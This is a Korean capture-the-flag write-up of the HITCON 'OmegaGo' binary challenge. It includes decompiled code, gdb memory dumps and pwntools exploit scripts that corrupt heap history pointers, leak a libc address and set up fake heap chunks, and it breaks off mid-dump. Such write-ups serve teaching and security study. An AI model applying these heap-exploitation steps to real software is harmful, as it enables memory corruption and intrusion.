Want to fight with AlphaGo? Beat OmegaGo first.
|
autolycos@ubuntu:~/CTF/HITCON/OmegaGo$ file omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=6101f150902c6814bd0576f35c60473105a5466e, stripped autolycos@ubuntu:~/CTF/HITCON/OmegaGo$ checksec.sh --file omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac autolycos@ubuntu:~/CTF/HITCON/OmegaGo$ |
autolycos@ubuntu:~/CTF/HITCON/OmegaGo$ ./omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac ABCDEFGHIJKLMNOPQRS 19 ................... 18 ................... 17 ................... 16 ................... 15 ................... 14 ................... 13 ................... 12 ................... 11 ................... 10 .........O......... 9 ................... 8 ................... 7 ................... 6 ................... 5 ................... 4 ................... 3 ................... 2 ................... 1 ................... Time remain: O: 180.00, X: 180.00 A19 ABCDEFGHIJKLMNOPQRS 19 X.................. 18 ................... 17 ................... 16 ................... 15 ................... 14 ................... 13 ................... 12 ................... 11 ................... 10 .........O......... 9 ................... 8 ................... 7 ................... 6 ................... 5 ................... 4 ................... 3 ................... 2 ................... 1 ..................O Time remain: O: 180.00, X: 173.38 regret ABCDEFGHIJKLMNOPQRS 19 ................... 18 ................... 17 ................... 16 ................... 15 ................... 14 ................... 13 ................... 12 ................... 11 ................... 10 .........O......... 9 ................... 8 ................... 7 ................... 6 ................... 5 ................... 4 ................... 3 ................... 2 ................... 1 ................... Time remain: O: 180.00, X: 180.00 surrender This AI is too strong, ah? Play history? (y/n) y ABCDEFGHIJKLMNOPQRS 19 ................... 18 ................... 17 ................... 16 ................... 15 ................... 14 ................... 13 ................... 12 ................... 11 ................... 10 .........O......... 9 ................... 8 ................... 7 ................... 6 ................... 5 ................... 4 ................... 3 ................... 2 ................... 1 ................... piece O play at J10 Time remain: O: 180.00, X: 180.00 Play again? (y/n) y ABCDEFGHIJKLMNOPQRS 19 ................... 18 ................... 17 ................... 16 ................... 15 ................... 14 ................... 13 ................... 12 ................... 11 ................... 10 .........O......... 9 ................... 8 ................... 7 ................... 6 ................... 5 ................... 4 ................... 3 ................... 2 ................... 1 ................... Time remain: O: 180.00, X: 180.00 |
struct __attribute__((aligned(8))) Method { void (__fastcall **Play)(Method *a, GameInfo *state, signed int player_number, uint32_t *row, uint32_t *col); _QWORD empty; }; |
struct GameInfo { _QWORD board[12]; _DWORD rowNumber; _DWORD colNumber; _QWORD player; double playTimeForAI; double playTimeForHuman; }; |
__int64 __fastcall main(__int64 a1, char **a2, char **a3) { __int64 result; // rax@3 __int64 v4; // rbx@3 __int64 v5; // [rsp+8h] [rbp-18h]@1 v5 = *MK_FP(__FS__, 40LL); alarm(0xB4u); setvbuf(stdout, 0LL, 2, 0LL); while (MainFunction()); result = 0LL; v4 = *MK_FP(__FS__, 40LL) ^ v5; return result; } |
setDefGameinfo() 함수를 통해 게임 진행시 필요한 변수의 초기화를 선언합니다.
"operator new(8uLL)" 코드를 이용하여 AI, HUMAN 변수에 Heap 영역(8byte)을 할당합니다.
setAIFunction(), setHUMANFunction() 함수를 이용해 할당 받은 영역에 호출할 함수의 주소를 저장합니다.
while()을 통해 게임을 플레이하기 위한 기능을 실행합니다.
gettimeofday() 함수를 이용하여 플레이어의 게임 플레이 시간을 계산합니다.
rowNumber, colNumber 의 값이 -1과 같다면 게임을 종료합니다.
__int64 OmegaGo() { Method *AI; // rbx Method *HUMAN; // rbx unsigned int rowNumber; // [rsp+Ch] [rbp-64h] unsigned int colNumber; // [rsp+10h] [rbp-60h] int playerNum; // [rsp+14h] [rbp-5Ch] double playTime; // [rsp+18h] [rbp-58h] struct timeval startTime; // [rsp+20h] [rbp-50h] struct timeval endTime; // [rsp+30h] [rbp-40h] Method *player[2]; // [rsp+40h] [rbp-30h] unsigned __int64 v10; // [rsp+58h] [rbp-18h] v10 = __readfsqword(0x28u); setDefGameinfo(); playerNum = 1; AI = (Method *)operator new(8uLL); AI->Play = 0LL; setAIFunction(AI); player[0] = AI; HUMAN = (Method *)operator new(8uLL); HUMAN->Play = 0LL; setHUMANFunction(HUMAN); player[1] = HUMAN; while ( !((unsigned __int8)sub_401202(playerNum, &gPlayerGameInfo) ^ 1) ) { gettimeofday(&startTime, 0LL); (*player[playerNum - 1]->Play)(player[playerNum - 1], &gPlayerGameInfo, playerNum, &rowNumber, &colNumber); gettimeofday(&endTime, 0LL); playTime = (double)(LODWORD(endTime.tv_usec) - LODWORD(startTime.tv_usec)) / 1000000.0 + (double)(LODWORD(endTime.tv_sec) - LODWORD(startTime.tv_sec)); if ( rowNumber == -1 || colNumber == -1 ) break; if ( rowNumber != -2 && colNumber != -2 ) { *(double *)&gPlayerGameInfo.board[playerNum - 1 + 14LL] = *(double *)&gPlayerGameInfo.board[playerNum - 1 + 14LL] - playTime; if ( *(double *)&gPlayerGameInfo.board[playerNum - 1 + 14LL] < 0.0 ) print("Time's up"); SetMarkForBoard(&gPlayerGameInfo, rowNumber, colNumber, playerNum, 0); playerNum ^= 3u; } else if ( (unsigned __int8)regret() ^ 1 ) { print("No you cant't"); } } CheckResults(); PlayHistory(); return PlayAgain(); } |
해당 함수는 다음과 같은 기능을 합니다.
player 변수의 값을 이용해 플레이어의 마크를 결정합니다.
saveMarkofBoard() 함수와 마크를 저장할 좌표 값(row, col)을 이용해gameinfo.Board[] 영역에 값을 저장합니다.
각종 함수를 이용해 플레이어가 마크를 저장하길 원하는 위치 값이 타당한지 확인합니다.
CheckBoardArea(), GetMarkForBoard(), checkLocation(), ...
signed __int64 __fastcall SetMarkForBoard(GameInfo *gameinfo, unsigned int inputRow, unsigned int inputCol, int player, unsigned __int8 printOpt) { signed __int64 result; // rax signed int mark; // eax MAPDST bool v7; // al GameInfo *historyCount; // rax GameInfo *saveGameInfo; // ST30_8 signed int i; // [rsp+24h] [rbp-2Ch] unsigned int row; // [rsp+28h] [rbp-28h] unsigned int col; // [rsp+2Ch] [rbp-24h] if ( (unsigned __int8)GetMarkForBoard((__int64)gameinfo, inputRow, inputCol) == '.' ) { if ( player == 1 ) mark = 'O'; else mark = 'X'; saveMarkofBoard((__int64)gameinfo, inputRow, inputCol, mark); gameinfo->rowNumber = inputRow; gameinfo->colNumber = inputCol; for ( i = 0; i <= 3; ++i ) { row = dword_404FE0[i] + inputRow; col = dword_404FF0[i] + inputCol; v7 = (unsigned __int8)CheckBoardArea(row) ^ 1 || (unsigned __int8)CheckBoardArea(col) ^ 1; if ( !v7 && (char)GetMarkForBoard((__int64)gameinfo, row, col) == 0xA7 - mark && (unsigned int)checkLocation((__int64)gameinfo, row, col) == 0 ) { sub_4024C2((__int64)gameinfo, row, col); } } if ( (unsigned int)checkLocation((__int64)gameinfo, inputRow, inputCol) == 0 ) { if ( !printOpt ) print("Why you do this :(("); result = 0LL; } else if ( (unsigned __int8)sub_402528((__int64)gameinfo, printOpt) ) { if ( !printOpt ) print("Wanna Ko Fight?"); result = 0LL; } else { if ( printOpt != 1 ) { LODWORD(gameinfo->player) = mark; historyCount = (GameInfo *)operator new(0x80uLL); *historyCount = *gameinfo; saveGameInfo = historyCount; LODWORD(historyCount) = gHistoryCount++; gHistory[(signed int)historyCount] = saveGameInfo; } result = 1LL; } } else { if ( !printOpt ) print("You cheater!"); result = 0LL; } return result; } |
from pwn import * #context.log_level = 'debug' col_list = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S'] p = process('omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac') def Play(location): p.recvuntil('\n\n') p.sendline(location) def Fill(colStart, colEnd, row): for colNum in range(col_list.index(colStart),col_list.index(colEnd)+1): locate = str(col_list[colNum]) locate += str(row) Play(locate) Fill('B','S',11) for count in reversed(range(1,9)): Fill('A','S',count) Fill('A','A',11) Fill('A','K',12) p.interactive() |
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ gdb -q -p 3491 Attaching to process 3491 gdb-peda$ x/gx 0x609FC0 0x609fc0: 0x0000000000b94da0 gdb-peda$ x/10gx 0x609FC0 0x609fc0: 0x0000000000b94da0 0x0000000000000000 0x609fd0: 0x0000000000000000 0x0000000000000000 0x609fe0: 0xaaaa0000aaaaa800 0x50000100002aaaaa 0x609ff0: 0x5554000155555555 0x0000000000000055 0x60a000: 0x0000000000000000 0x0000000000000000 |
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ python test.py [!] Cold not find executable 'omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' in $PATH, using './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' instead [+] Starting local process './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac': pid 3491 [*] Switching to interactive mode ABCDEFGHIJKLMNOPQRS 19 ..XXO\x00.OOX\x00X....... 18 ................... 17 ................... 16 ................... 15 ................... 14 ................... 13 ................... 12 XXXXXXXXXXX........ 11 XXXXXXXXXXXXXXXXXXX 10 .........O......... 9 OOOOOOOOOOOOOOOOOOO 8 ........OOOOOOOOOOO 7 ................... 6 ................... 5 ................... 4 ................... 3 ................... 2 ................... 1 ................... Time remain: O: 180.00, X: 179.84 $ |
유저가 입력한 값은 0x609fc0 영역에 0x2가 저장됩니다.
컴퓨터가 입력한 값은 0x60a01A 영역에 0x1가 저장됩니다.
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ gdb -q ./omega* Reading symbols from ./omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac...(no debugging symbols found)...done. gdb-peda$ r Starting program: /home/lazenca0x0/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac ...Print board... Time remain: O: 180.00, X: 180.00 A19 ...Print board... Time remain: O: 180.00, X: 171.04 ^C Program received signal SIGINT, Interrupt. gdb-peda$ x/12gx 0x609FC0 0x609fc0: 0x0000000000000002 0x0000000000000000 0x609fd0: 0x0000000000000000 0x0000000000000000 0x609fe0: 0x0000000000000000 0x0000010000000000 0x609ff0: 0x0000000000000000 0x0000000000000000 0x60a000: 0x0000000000000000 0x0000000000000000 0x60a010: 0x0000000000000000 0x0000000000010000 gdb-peda$ |
사용자 입력을 통해 19행을 모두 채우면 메모리에 다음과 같이 저장됩니다.
유저가 입력한 값은 0x2aaaaaaaaa 입니다.
컴퓨터가 입력한 값은 0x01555555555 입니다.
ABCDEFGHIJKLMNOPQRS 19 XXXXXXXXXXXXXXXXXXX 18 ................... 17 ................... 16 ................... 15 ................... 14 ................... 13 ................... 12 ................... 11 ................... 10 .........O......... 9 ................... 8 ................... 7 ................... 6 ................... 5 ................... 4 ................... 3 ................... 2 ................... 1 OOOOOOOOOOOOOOOOOOO Time remain: O: 180.00, X: 141.02 ^C Program received signal SIGINT, Interrupt. 0x00007ffff75e66b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81 81 ../sysdeps/unix/syscall-template.S: No such file or directory. gdb-peda$ x/12gx 0x609FC0 0x609fc0: 0x0000002aaaaaaaaa 0x0000000000000000 0x609fd0: 0x0000000000000000 0x0000000000000000 0x609fe0: 0x0000000000000000 0x0000010000000000 0x609ff0: 0x0000000000000000 0x0000000000000000 0x60a000: 0x0000000000000000 0x0000000000000000 0x60a010: 0x5555500000000000 0x0000000000015555 gdb-peda$ |
|
def decode(offset): bit_offset = offset * 8 data = ''.join(board) result = 0 for i in xrange(32): states = '.OX\0' val = states.index(data[bit_offset + i]) result |= val << (i * 2) return result |
|
|
|
sub_40210A()함수를 호출해 gameInfo 의 데이터도 초기화 합니다.
__int64 DefaultSet() { signed int row; // [rsp+0h] [rbp-20h]@1 signed int col; // [rsp+4h] [rbp-1Ch]@2 signed int playerCnt; // [rsp+8h] [rbp-18h]@3 int i; // [rsp+Ch] [rbp-14h]@12 FILE *stream; // [rsp+10h] [rbp-10h]@1 __int64 v6; // [rsp+18h] [rbp-8h]@1 v6 = *MK_FP(__FS__, 40LL); stream = fopen("/dev/urandom", "rb"); for ( row = 0; row <= 18; ++row ) { for ( col = 0; col <= 18; ++col ) { for ( playerCnt = 0; playerCnt <= 2; ++playerCnt ) { if ( fread(&qword_607260[playerCnt + 3LL * col + 57LL * row], 1uLL, 8uLL, stream) != 8 ) print("WT.."); } } } fclose(stream); for ( i = 0; i < historyCount; ++i ) { operator delete(history[i]); history[i] = 0LL; } sub_402FA8((__int64)&unk_607220); historyCount = 0; sub_40210A((__int64)&gameInfo); return *MK_FP(__FS__, 40LL) ^ v6; } |
surrender 명령 실행 후 첫 플레이 정보를 저장 주소는 0x60b0c0 입니다.
autolycos@ubuntu:~/CTF/HITCON/OmegaGo$ gdb -q ./omega* Reading symbols from ./omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac...(no debugging symbols found)...done. (gdb) b *0x04027C3 Breakpoint 1 at 0x4027c3 (gdb) r Starting program: /home/autolycos/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac Breakpoint 1, 0x00000000004027c3 in ?? () (gdb) x/i $rip => 0x4027c3: callq 0x400f70 <_Znwm@plt> (gdb) ni 0x00000000004027c8 in ?? () (gdb) i r rax rax 0x60b080 6336640 (gdb) c Continuing. ... surrender ... Play again? (y/n) y Breakpoint 1, 0x00000000004027c3 in ?? () (gdb) ni 0x00000000004027c8 in ?? () (gdb) i r rax rax 0x60b0c0 6336704 (gdb) c Continuing. ... surrender ... Play again? (y/n) y Breakpoint 1, 0x00000000004027c3 in ?? () (gdb) ni 0x00000000004027c8 in ?? () (gdb) i r rax rax 0x60b100 6336768 (gdb) x/18gx 0x60b080 0x60b080: 0x0000000000405040 0x0000000000000000 0x60b090: 0x0000000000000000 0x0000000000000021 0x60b0a0: 0x0000000000405020 0x0000010000000000 0x60b0b0: 0x0000000000000000 0x0000000000000021 0x60b0c0: 0x0000000000405040 0x0000000000000000 0x60b0d0: 0x0000000000000000 0x0000000000000021 0x60b0e0: 0x0000000000405020 0x0000010000000000 0x60b0f0: 0x0000000000000000 0x0000000000000091 0x60b100: 0x0000000000000000 0x0000000000000000 (gdb) |
"regret" 명령어를 입력합니다.
0x7fd2579d47b8 - 0x7fd257616000 = 0x3be7b8
(gdb) x/12gx 0x609FC0 - 0x10 0x609fb0: 0x000000000201a000 0x000000000201a0c0 0x609fc0: 0x000000000201a180 0x0000000000000000 0x609fd0: 0x0000000000000000 0x0000000000000000 0x609fe0: 0xaaaa0000aaaaa800 0x50000100002aaaaa 0x609ff0: 0x5554000155555555 0x0000000000000055 0x60a000: 0x0000000000000000 0x0000000000000000 (gdb) x/18gx 0x000000000201a0c0 0x201a0c0: 0x0000000000000000 0x0000000000000000 0x201a0d0: 0x0000000000000000 0x0000000000000000 0x201a0e0: 0xaaaa0000aaaaa800 0x50000100002aaaaa 0x201a0f0: 0x5550000155555555 0x0000000000000055 0x201a100: 0x0000000000000000 0x0000000000000000 0x201a110: 0x0000000000000000 0x0000000000000000 0x201a120: 0x0000000a00000007 0x0000000000000058 0x201a130: 0x40667fdc209246b8 0x40666f6b9e492bc5 0x201a140: 0x0000000000000000 0x0000000000000031 (gdb) c Continuing. regret ^C Program received signal SIGINT, Interrupt. 0x00007fd2577016b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81 81 in ../sysdeps/unix/syscall-template.S (gdb) x/18gx 0x0000000001ca40c0 0x1ca40c0: 0x00007fd2579d47b8 0x00007fd2579d47b8 0x1ca40d0: 0x0000000000000000 0x0000000000000000 0x1ca40e0: 0xaaaa0000aaaaa800 0x50000100002aaaaa 0x1ca40f0: 0x5550000155555555 0x0000000000000055 0x1ca4100: 0x0000000000000000 0x0000000000000000 0x1ca4110: 0x0000000000000000 0x0000000000000000 0x1ca4120: 0x0000000a00000007 0x0000000000000058 0x1ca4130: 0x40667fe2174c4cdb 0x406670861e92923f 0x1ca4140: 0x0000000000000090 0x0000000000000030 (gdb) info proc map process 4778 Mapped address spaces: Start Addr End Addr Size Offset objfile 0x400000 0x407000 0x7000 0x0 /home/autolycos/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac 0x606000 0x607000 0x1000 0x6000 /home/autolycos/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac 0x607000 0x608000 0x1000 0x7000 /home/autolycos/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac 0x608000 0x60b000 0x3000 0x0 0x1c93000 0x1cb4000 0x21000 0x0 [heap] 0x7fd257310000 0x7fd257415000 0x105000 0x0 /lib/x86_64-linux-gnu/libm-2.19.so 0x7fd257415000 0x7fd257614000 0x1ff000 0x105000 /lib/x86_64-linux-gnu/libm-2.19.so 0x7fd257614000 0x7fd257615000 0x1000 0x104000 /lib/x86_64-linux-gnu/libm-2.19.so 0x7fd257615000 0x7fd257616000 0x1000 0x105000 /lib/x86_64-linux-gnu/libm-2.19.so 0x7fd257616000 0x7fd2577d0000 0x1ba000 0x0 /lib/x86_64-linux-gnu/libc-2.19.so 0x7fd2577d0000 0x7fd2579d0000 0x200000 0x1ba000 /lib/x86_64-linux-gnu/libc-2.19.so 0x7fd2579d0000 0x7fd2579d4000 0x4000 0x1ba000 /lib/x86_64-linux-gnu/libc-2.19.so 0x7fd2579d4000 0x7fd2579d6000 0x2000 0x1be000 /lib/x86_64-linux-gnu/libc-2.19.so 0x7fd2579d6000 0x7fd2579db000 0x5000 0x0 0x7fd2579db000 0x7fd2579f1000 0x16000 0x0 /lib/x86_64-linux-gnu/libgcc_s.so.1 0x7fd2579f1000 0x7fd257bf0000 0x1ff000 0x16000 /lib/x86_64-linux-gnu/libgcc_s.so.1 0x7fd257bf0000 0x7fd257bf1000 0x1000 0x15000 /lib/x86_64-linux-gnu/libgcc_s.so.1 0x7fd257bf1000 0x7fd257cd7000 0xe6000 0x0 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.19 0x7fd257cd7000 0x7fd257ed6000 0x1ff000 0xe6000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.19 0x7fd257ed6000 0x7fd257ede000 0x8000 0xe5000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.19 0x7fd257ede000 0x7fd257ee0000 0x2000 0xed000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.19 0x7fd257ee0000 0x7fd257ef5000 0x15000 0x0 0x7fd257ef5000 0x7fd257f18000 0x23000 0x0 /lib/x86_64-linux-gnu/ld-2.19.so 0x7fd2580f8000 0x7fd2580fd000 0x5000 0x0 0x7fd258114000 0x7fd258117000 0x3000 0x0 0x7fd258117000 0x7fd258118000 0x1000 0x22000 /lib/x86_64-linux-gnu/ld-2.19.so 0x7fd258118000 0x7fd258119000 0x1000 0x23000 /lib/x86_64-linux-gnu/ld-2.19.so 0x7fd258119000 0x7fd25811a000 0x1000 0x0 0x7ffe6668e000 0x7ffe666af000 0x21000 0x0 [stack] 0x7ffe66744000 0x7ffe66746000 0x2000 0x0 [vvar] 0x7ffe66746000 0x7ffe66748000 0x2000 0x0 [vdso] 0xffffffffff600000 0xffffffffff601000 0x1000 0x0 [vsyscall] (gdb) p/x 0x00007fd2579d47b8 - 0x7fd257616000 $1 = 0x3be7b8 |
regret() 함수는 마지막에 저장된 heap address 2개를 제거합니다.
history[] 배열의 끝에 저장된 값은 공격자가 입력한 좌표 값에 의해 변경된 heap 주소 입니다.
좌표값 "D19"를 입력해 0x00를 0x80으로 변경했습니다.(0xdd5280)
0xdd5280 값을 기준으로 데이터를 전역 변수 gameInfo에 저장합니다.
(gdb) x/12gx 0x609FC0 0x609fc0: 0x000000000105e200 0x0000000000000000 0x609fd0: 0x0000000000000000 0x0000000000000000 0x609fe0: 0xaaaa0000aaaaa800 0x50000100002aaaaa 0x609ff0: 0x5554000155555555 0x0000000000000055 0x60a000: 0x0000000000000000 0x0000000000000000 0x60a010: 0x0000000000000000 0x0000000000000000 (gdb) b *0x4016C9 Breakpoint 1 at 0x4016c9 (gdb) b *0x4017FC Breakpoint 2 at 0x4017fc (gdb) c Continuing. Breakpoint 2, 0x00000000004017fc in ?? () (gdb) c Continuing. //D19 Breakpoint 2, 0x00000000004017fc in ?? () (gdb) x/12gx 0x609FC0 0x609fc0: 0x000000000105e280 0x000000000105e2c0 0x609fd0: 0x000000000105e380 0x0000000000000000 0x609fe0: 0xaaaa0000aaaaa800 0x50000100002aaaaa 0x609ff0: 0x5554000155555555 0x0000000000000055 0x60a000: 0x0000000000000000 0x0000000000000000 0x60a010: 0x0000000000000000 0x0000000000000400 (gdb) c Continuing. //regret Breakpoint 2, 0x00000000004016c5 in ?? () (gdb) x/2i $rip => 0x4016c5: mov 0x40(%rax),%rdx 0x4016c9: mov %rdx,0x208930(%rip) # 0x60a000 (gdb) set disassembly-flavor intel (gdb) x/2i $rip => 0x4016c5: mov rdx,QWORD PTR [rax+0x40] 0x4016c9: mov QWORD PTR [rip+0x208930],rdx # 0x60a000 (gdb) i r rax rax 0xdd5280 14504576 (gdb) x/18gx 0xdd5280 0xdd5280: 0x0000000000000000 0x0000000000000031 0xdd5290: 0x0000000000dd5340 0x0000000000dcd3d0 0xdd52a0: 0x0000000000000000 0x0000000000000000 0xdd52b0: 0x240b2f4828c52f0b 0x0000000000000091 0xdd52c0: 0x00007fcad9e447b8 0x00007fcad9e447b8 0xdd52d0: 0x0000000000000000 0x0000000000000000 0xdd52e0: 0xaaaa0000aaaaa800 0x50000100002aaaaa 0xdd52f0: 0x5554000155555555 0x0000000000000055 0xdd5300: 0x0000000000000000 0x0000000000000000 (gdb) x/gx 0xdd5280 + 0x40 0xdd52c0: 0x00007fcad9e447b8 (gdb) ni 0x00000000004016c9 in ?? () (gdb) i r rip rip 0x4016c9 0x4016c9 (gdb) p/x 0x208930 + 0x4016c9 $1 = 0x609ff9 (gdb) x/12gx 0x609FC0 0x609fc0: 0x0000000000000000 0x0000000000000031 0x609fd0: 0x0000000000dd5340 0x0000000000dcd3d0 0x609fe0: 0x0000000000000000 0x0000000000000000 0x609ff0: 0x240b2f4828c52f0b 0x0000000000000091 0x60a000: 0x0000000000000000 0x0000000000000000 0x60a010: 0x0000000000000000 0x0000000000000400 (gdb) ni 0x00000000004016d0 in ?? () (gdb) x/12gx 0x609FC0 0x609fc0: 0x0000000000000000 0x0000000000000031 0x609fd0: 0x0000000000dd5340 0x0000000000dcd3d0 0x609fe0: 0x0000000000000000 0x0000000000000000 0x609ff0: 0x240b2f4828c52f0b 0x0000000000000091 0x60a000: 0x00007fcad9e447b8 0x0000000000000000 0x60a010: 0x0000000000000000 0x0000000000000400 (gdb) p/x 0x208930 + 0x4016d0 $2 = 0x60a000 |
from pwn import * #context.log_level = 'debug' col_list = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S'] p = process('omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac') def Play(location): p.recvuntil('\n\n') p.sendline(location) def surrender(): p.recvuntil('\n\n') p.sendline('surrender') p.recvuntil('Play history? (y/n)') p.sendline('n') p.recvuntil('Play again? (y/n)') p.sendline('y') def Fill(colStart, colEnd, row): for colNum in range(col_list.index(colStart),col_list.index(colEnd)+1): locate = str(col_list[colNum]) locate += str(row) Play(locate) def readBoard(): global board board = [] p.recvline() for line in range(0,19): p.recv(3) board.append(p.recvuntil('\n')[0:19]) def decode(offset): bit_offset = offset * 8 data = ''.join(board) result = 0 for i in xrange(32): states = '.OX\0' val = states.index(data[bit_offset + i]) result |= val << (i * 2) #print str(result) + ' |= ' + str(val) + ' << (' + str(i) + '* 2)' return result def LeakLibcAddress(): readBoard() return decode(32) #Memory reconstruction surrender() surrender() #Fill out to board Fill('B','S',11) for count in reversed(range(1,9)): Fill('A','S',count) Fill('A','A',11) Fill('A','K',12) #Leak LibcAddress p.recvuntil('\n\n') p.sendline('D19') #sleep(20) p.recvuntil('\n\n') p.sendline('regret') libcAddress = LeakLibcAddress() libcBaseAddress = libcAddress - 0x3be7b8 log.info('Libc Address : ' + hex(libcAddress)) log.info('Libc Base Address : ' + hex(libcBaseAddress)) p.interactive() |
0x0 | 0x8 | |
---|---|---|
0x00 | 0000000000000000 | 0000000000000000 |
0x10 | 0000000000000000 | 0000000000000020 |
0x20 | 0000000000000000 | 0000010000000000 |
0x30 | 0000000000000000 | 0000000000000020 |
0x40 | 0000000000000000 | 0000000000000000 |
0x50 | 0000000000000000 | 0000000000000000 |
0x60 | 0000000900000009 | 000000000000004F |
0x70 | 40665799D0203E64 | 4066800000000000 |
0x80 | 0000000000000000 | 0000000000000031 |
Fake chunk 좌표값(D14, R8)을 입력합니다.
(gdb) b *0x401761 Breakpoint 1 at 0x401761 (gdb) b *0x4017FC Breakpoint 2 at 0x4017fc (gdb) x/12gx 0x609FC0 0x609fc0: 0x0000000000000000 0x0000000000000000 0x609fd0: 0x0000000000000000 0x0000000000000000 0x609fe0: 0xaaaa000000000000 0x50000100002aaaaa 0x609ff0: 0x0000000155555555 0x0000000000000000 0x60a000: 0x0000000000000000 0x0000000000000000 0x60a010: 0x0000000000000000 0x0000000000000000 (gdb) c Continuing. Breakpoint 2, 0x00000000004017fc in ?? () (gdb) x/12gx 0x609FC0 0x609fc0: 0x0000000000000000 0x0000000000000000 0x609fd0: 0x0000000000000000 0x0000000000000020 0x609fe0: 0xaaaa000000000000 0x50000100002aaaaa 0x609ff0: 0x0000000155555555 0x0000000000000000 0x60a000: 0x0000000000000000 0x0000000000000000 0x60a010: 0x0000000000000000 0x0000000000000000 (gdb) c Continuing. Breakpoint 2, 0x00000000004017fc in ?? () (gdb) x/12gx 0x609FC0 0x609fc0: 0x0000000000000000 0x0000000000000000 0x609fd0: 0x0000000000000000 0x0000000000000020 0x609fe0: 0xaaaa000000000000 0x50000100002aaaaa 0x609ff0: 0x0000000155555555 0x0000000000000000 0x60a000: 0x0000000000001000 0x0000000000000000 0x60a010: 0x0000000000000000 0x0000000000000000 (gdb) c Continuing. Breakpoint 2, 0x00000000004017fc in ?? () (gdb) x/12gx 0x609FC0 0x609fc0: 0x0000000000000000 0x0000000000000000 0x609fd0: 0x0000000000000000 0x0000000000000020 0x609fe0: 0xaaaa000000000000 0x50000100002aaaaa 0x609ff0: 0x0000000155555555 0x0000000000000020 0x60a000: 0x0000000000001000 0x0000000000000000 0x60a010: 0x0000000000000000 0x0000000000000000 (gdb) c Continuing. ... fill out ... Breakpoint 2, 0x00000000004017fc in ?? () (gdb) x/12gx 0x609FC0 0x609fc0: 0x0000000000707410 0x0000000000000000 0x609fd0: 0x0000000000000000 0x0000000000000020 0x609fe0: 0xaaaa000000001000 0x555555aaaaaaaaaa 0x609ff0: 0x0000000155555555 0x0000000000000020 0x60a000: 0x0000000000001000 0x0000000000000000 0x60a010: 0x0000000000000000 0x0000000000000000 (gdb) c Continuing. Breakpoint 2, 0x00000000004017fc in ?? () (gdb) x/12gx 0x609FC0 0x609fc0: 0x0000000000707410 0x00000000007074a0 0x609fd0: 0x0000000000000000 0x0000000000000020 0x609fe0: 0xaaaa000000001000 0x555555aaaaaaaaaa 0x609ff0: 0x0000000155555555 0x0000000000000020 0x60a000: 0x0000000000001000 0x0000000000000000 0x60a010: 0x0000000000000000 0x0000000000000800 (gdb) x/18gx 0x0000000000707410 0x0707410: 0x0000000000000000 0x0000000000000000 0x0707420: 0x0000000000000000 0x0000000000000020 0x0707430: 0xaaaa000000001000 0x555555aaaaaaaaaa 0x0707440: 0x0000000155555555 0x0000000000000020 0x0707450: 0x0000000000001000 0x0000000000000000 0x0707460: 0x0000000000000000 0x0000000000000000 0x0707470: 0x0000000a00000009 0x500001000000004f 0x0707480: 0x40660945b078d924 0x40633e4e379b77bf 0x0707490: 0x0000000000000000 0x000000000000fb71 (gdb) c Continuing. Breakpoint 2, 0x00000000004017fc in ?? () (gdb) x/12gx 0x609FC0 0x609fc0: 0x0000000000707450 0x00000000007074a0 0x609fd0: 0x0000000000707530 0x0000000000000020 0x609fe0: 0xaaaa000000001000 0x555555aaaaaaaaaa 0x609ff0: 0x0000000155555555 0x0000000000000020 0x60a000: 0x0000000000001000 0x0000000000000000 0x60a010: 0x0000000000000000 0x0000000000000800 (gdb) x/18gx 0x0000000000707530 0x0707530: 0x00000000019a1450 0x00000000019a14a0 0x0707540: 0x0000000000000000 0x0000000000000020 0x0707550: 0xaaaa000000001000 0x555555aaaaaaaaaa 0x0707560: 0x0000000155555555 0x0000000000000020 0x0707570: 0x0000000000001000 0x0000000000000000 0x0707580: 0x0000000000000000 0x0000000000000800 0x0707590: 0x0000000300000000 0x500001000000004f 0x07075a0: 0x40658f8b73d188eb 0x406176e57d9dba8e 0x07075b0: 0x00007f5b133663a0 0x000000000000fa51 (gdb) c Continuing. Breakpoint 2, 0x00000000004017fc in ?? () (gdb) x/12gx 0x609FC0 0x609fc0: 0x0000000000707450 0x00000000007074a0 0x609fd0: 0x0000000000707530 0x00000000007075c0 0x609fe0: 0xaaaa000000001000 0x555555aaaaaaaaaa 0x609ff0: 0x0000000155555555 0x0000000000000020 0x60a000: 0x0000000000001000 0x0000000000000000 0x60a010: 0x0000000000000000 0x0000000000000a00 (gdb) c Continuing. Breakpoint 2, 0x00000000004017fc in ?? () (gdb) x/12gx 0x609FC0 0x609fc0: 0x0000000000707550 0x00000000007074a0 0x609fd0: 0x0000000000707530 0x00000000007075c0 0x609fe0: 0x0000000000707680 0x555555aaaaaaaaaa 0x609ff0: 